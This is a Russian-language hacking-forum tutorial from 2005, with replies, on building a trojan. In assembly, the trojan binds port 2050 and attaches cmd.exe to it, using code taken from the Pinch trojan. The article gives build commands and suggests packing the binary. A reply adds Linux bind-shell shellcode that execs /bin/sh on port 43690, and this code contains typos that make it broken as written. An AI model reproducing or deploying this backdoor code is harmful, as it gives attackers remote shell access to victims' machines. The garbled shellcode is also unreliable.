Поговорив с Нитрексом, решил написать эту статью. В ней я хочу показать, как можно без особых проблем написать Троян. Итак, наш Троян будет уметь лишь одно – это биндить(открывать) порт, и вешать на нем cmd.exe или command.com в зависимости от версии ОС.
Подумав, я решил не изобретать велосипед, а взять уже готовый код из Трояна Pinch. Код оформлен в виде модуля, и его можно без особых проблем использовать в своих программах. Так что скажем спасибо кабану, за его творение. Приступим.
Найдем где-нибудь исходники пинча. В них имеется файлик comsole.asm – это и есть нужный нам код. Теперь создадим файл troj.asm и пишем в него:
;********************************************** .486 .model flat, stdcall option casemap :none ;Тут мы подключаем необходимы файлы. include ..\include\windows.inc include ..\include\user32.inc include ..\include\kernel32.inc include ..\include\wsock32.inc includelib ..\Lib\user32.lib includelib ..\Lib\kernel32.lib includelib ..\Lib\wsock32.lib ;================================ .data .data? .code ;**********************************************
Это наш Каракас, на нем мы будем строить нашего Трояна... В принципе, все что нам надо сделать, это заинклудить файл console.asm и вызвать из него функцию StarSrv которая сделает всю остальную работу. Итак, добавляем в наш файл следующее:
;*********************************************** ... .data lpBuf1 db 32768 dup(?) ; буфер Port dd 2050 ; Порт .data? .code include console.asm start: ; с этой отметки ;начинается выполнение нашей программы invoke WSAStartup, 1, offset lpBuf1 ; нужно для работы с сокетами, вообще ;вместо lpBuf1 должнен стоять указатель на структуру WSADATA, но кабан сделал ;именно так. invoke StartSrv, Port ;Вызываем StartSrv . 2050 – это порт который будет открыт. end start ;Конец. ... ;***********************************************
Вот в принципе и все. Наш Троян готов, осталось скомпилировать и запустить.
- ml /c /coff -nologo troj.asm
- link /subsystem:windows -nologo /OPT:REF /SECTION:.text,ERW troj.obj
Вот тока мне не нравится размер получаемого файла - 35,5кб. Это монстр какой-то. Вероятно это происходит из-за подключаемой библиотеки wsock32.lib(42кб), а может у меня руки кривые =). Вот в принципе и все...
ЗЫ После сжатия файла пакером, получилось 1,44кб, но это тоже много... так что дерзайте...
© s0 13.12.2005
>ЗЫ После сжатия файла пакером, получилось 1,44кб, но это тоже много... так что дерзайте...
меньше ты получишь только на 16bit языке ассемблера. Но там сложнее реализовать win32 api с помощью одних лишь прерываний. Код будет громоздкий но в итоге программа будет маленькой(Я не пробовал еще написать, но думаю без упаковки будет весить 500 байт(у меня есть аналог этого трояна, только для Linux(используется как shellcode))
bits 32
xor eax, eax
xor ebx, ebx
cdq
push eax; lol случайно написал bush(мозги окончательно тупят)
push byte 1
push byte 2
mov ecx, esp
inc bl
mov al, 102
int 0x80
mov esi, eax
push edx
push long 0xaaaa02aa
mov ecx, esp
push byte 16
push ecx
push esi
mov ecx,esp
inc bl
mov, 102
int 0x80
push edx
push esi
mov ecx, esp
mov bl, 4
mov al, 102
int 0x80
push edx
push edx
push ise
mov ecx, esp
inc bl
mov al, 102
int 0x80
mov ebx, eax
xor ecx, eax
mov cl, 3
100p:
dec, cl
mov al, 63
int 0x80
jnz 100p
push edx
push long 0x68732f6e
push long 0x69622f2f
mov ebx, esp
push edx
push ebx
mov ecx, esp
mov al, 11
int 0x80
;ассемблируется на NASM'e
;шеллкодец получается всего 96 байт
;привязывающий шеллкод. Слушает порт 43690
>Вот тока мне не нравится размер получаемого файла - 35,5кб.Это монстр какой-то.
Вероятно это происходит из-за подключаемой библиотеки wsock32.lib(42кб), а может
у меня руки кривые =).
есле обьявить lpBuf1 в сегменте неинициализированных данных то все с размером будет в порядке.